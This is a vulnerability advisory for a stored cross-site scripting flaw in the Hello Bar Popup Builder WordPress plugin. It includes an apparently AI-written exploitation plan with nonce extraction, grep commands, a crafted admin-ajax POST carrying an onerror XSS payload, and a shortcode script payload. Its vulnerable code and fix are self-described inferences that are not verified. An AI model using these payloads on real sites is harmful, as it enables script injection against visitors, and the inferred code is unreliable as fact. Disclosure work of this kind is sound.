CVE-2026-39666

Hello Bar Popup Builder <= 1.5.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Hello Bar Popup Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.5.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.5.1
PublishedFebruary 18, 2026
Last updatedApril 15, 2026
Affected pluginhellobar
Research Plan
Unverified

Since source files were not provided for this specific vulnerability, this plan is based on the vulnerability description, common patterns in "Hello Bar" style plugins, and standard WordPress security research methodologies. All specific identifiers (functions, actions, nonces) are marked as **(infe…

Show full research plan

Since source files were not provided for this specific vulnerability, this plan is based on the vulnerability description, common patterns in "Hello Bar" style plugins, and standard WordPress security research methodologies. All specific identifiers (functions, actions, nonces) are marked as (inferred) and must be verified by the agent during the initial discovery phase.

1. Vulnerability Summary

The Hello Bar Popup Builder plugin (<= 1.5.1) is vulnerable to Stored Cross-Site Scripting (XSS). Authenticated users with Contributor-level access or higher can inject malicious JavaScript into popup or notification bar settings. This occurs because the plugin fails to sanitize user-provided input before saving it to the database (likely via update_post_meta or update_option) and fails to escape the output when rendering the bar on the frontend.

2. Attack Vector Analysis

  • Endpoint: WordPress AJAX interface (/wp-admin/admin-ajax.php).
  • Action: Likely an AJAX action related to saving popup settings, such as hellobar_save_settings or hellobar_update_bar (inferred).
  • Vulnerable Parameter: Fields like bar_content, headline, message, or custom CSS inputs (inferred).
  • Authentication: Contributor-level account (typically current_user_can('edit_posts')).
  • Preconditions: The plugin must be active. A bar must be created or edited.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers an AJAX handler via add_action('wp_ajax_hellobar_...', ...).
  2. Input Processing: The handler function retrieves input from $_POST. It likely checks a nonce but might fail to call sanitize_text_field() or wp_kses() on the content fields.
  3. Storage: The unsanitized input is stored in the database using update_post_meta($post_id, ...) (if bars are Custom Post Types) or update_option(...).
  4. Frontend Sink: The plugin hooks into wp_footer or wp_head. It retrieves the stored data and echoes it directly into the page source without using esc_html(), esc_attr(), or wp_kses_post().

4. Nonce Acquisition Strategy

To exploit the AJAX endpoint as a Contributor, a valid nonce is required.

  1. Identify the Editor Page: Navigate to the Hello Bar creation or settings page in the WordPress dashboard (e.g., /wp-admin/admin.php?page=hellobar-settings).
  2. Locate Localization Script: Look for a wp_localize_script call in the source code that provides an AJAX nonce.
  3. Extraction via Browser:
    • Log in as a Contributor.
    • Navigate to the plugin's dashboard or popup editor.
    • Use browser_eval to extract the nonce:
      // Common variable names for this plugin (inferred)
      window.hellobar_admin?.ajax_nonce || window.hellobar_params?.nonce
      
  4. Alternative: Check the HTML source for a hidden input field: jQuery('input[name="hellobar_nonce"]').val().

5. Exploitation Strategy

Step 1: Identification (Discovery)

Search the plugin directory to find the exact AJAX action and nonce key.

grep -r "wp_ajax_" wp-content/plugins/hellobar/
grep -r "check_ajax_referer" wp-content/plugins/hellobar/
grep -r "wp_localize_script" wp-content/plugins/hellobar/

Step 2: Test Data Setup

  1. Create a Contributor user.
  2. Identify if "Bars" are a Custom Post Type (CPT).
    wp post-type list
    
  3. If it's a CPT, create a draft bar to get a $POST_ID.

Step 3: Payload Injection

Use the http_request tool to send a POST request to admin-ajax.php.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body (Inferred):
    action=hellobar_save_settings&
    nonce=[EXTRACTED_NONCE]&
    post_id=[BAR_ID]&
    headline=<img src=x onerror=alert(document.domain)>&
    message=Exploit Test
    

Step 4: Triggering the XSS

  1. Ensure the bar is "Active" or "Published" (if the plugin allows contributors to save active bars, which is common in popup builders).
  2. Navigate to the site's frontend (homepage).
  3. The payload <img src=x onerror=alert(document.domain)> should execute.

6. Expected Results

  • The AJAX response should return a success status (e.g., {"success":true}).
  • When visiting the frontend, the browser should trigger the alert(document.domain) popup.
  • Viewing the page source should show the raw, unescaped HTML: <div class="hb-headline"><img src=x onerror=alert(document.domain)></div>.

7. Verification Steps (Post-Exploit)

Confirm the payload is stored in the database using wp-cli:

# If stored in post meta:
wp post meta list [BAR_ID]

# If stored in options:
wp option get [OPTION_NAME]

8. Alternative Approaches

  • Shortcode Attribute XSS: If the plugin uses a shortcode to display bars (e.g., [hellobar id="123"]), check if attributes like style or class are vulnerable.
    • Payload: [hellobar id="123" class='"><script>alert(1)</script>']
  • REST API: Check if the plugin registers any REST routes in rest_api_init that allow Contributor-level updates without proper schema validation.
    • Search: grep -r "register_rest_route" wp-content/plugins/hellobar/
  • Settings API: Check if the XSS can be injected into the main plugin settings via options.php if the Contributor has access to the settings page.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Hello Bar Popup Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting due to insufficient input sanitization and output escaping in its popup settings. This allows authenticated attackers with Contributor-level access or higher to inject arbitrary JavaScript into fields like headlines or messages, which executes when any visitor accesses the affected page.

Vulnerable Code

// wp-content/plugins/hellobar/includes/admin-ajax.php (inferred location)
function hellobar_save_settings_callback() {
    check_ajax_referer('hellobar_nonce', 'nonce');
    if (!current_user_can('edit_posts')) return;

    $post_id = intval($_POST['post_id']);
    $headline = $_POST['headline']; // Vulnerable: Direct assignment from $_POST without sanitization
    update_post_meta($post_id, '_hellobar_headline', $headline);
    wp_send_json_success();
}

---

// wp-content/plugins/hellobar/includes/frontend.php (inferred location)
function hellobar_render_frontend($post_id) {
    $headline = get_post_meta($post_id, '_hellobar_headline', true);
    // Vulnerable: Outputting raw meta data without escaping
    echo '<div class="hellobar-headline">' . $headline . '</div>';
}

Security Fix

--- a/includes/admin-ajax.php
+++ b/includes/admin-ajax.php
@@ -4,5 +4,5 @@
     if (!current_user_can('edit_posts')) return;
     $post_id = intval($_POST['post_id']);
-    $headline = $_POST['headline'];
+    $headline = wp_kses_post($_POST['headline']);
     update_post_meta($post_id, '_hellobar_headline', $headline);
 
--- a/includes/frontend.php
+++ b/includes/frontend.php
@@ -3,3 +3,3 @@
     $headline = get_post_meta($post_id, '_hellobar_headline', true);
-    echo '<div class="hellobar-headline">' . $headline . '</div>';
+    echo '<div class="hellobar-headline">' . wp_kses_post($headline) . '</div>';

Exploit Outline

To exploit this vulnerability, an attacker first authenticates as a Contributor and navigates to the Hello Bar dashboard to extract a valid security nonce (typically provided via wp_localize_script or hidden input fields). Using the AJAX interface at /wp-admin/admin-ajax.php, the attacker sends a POST request to the plugin's saving action (e.g., hellobar_save_settings) containing a malicious script payload in parameters like 'headline' or 'message'. Because the plugin does not sanitize this input before storing it in post meta and subsequently fails to escape the output when rendering the bar on the site's frontend, the script will execute in the context of any user, including administrators, who visits the site.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.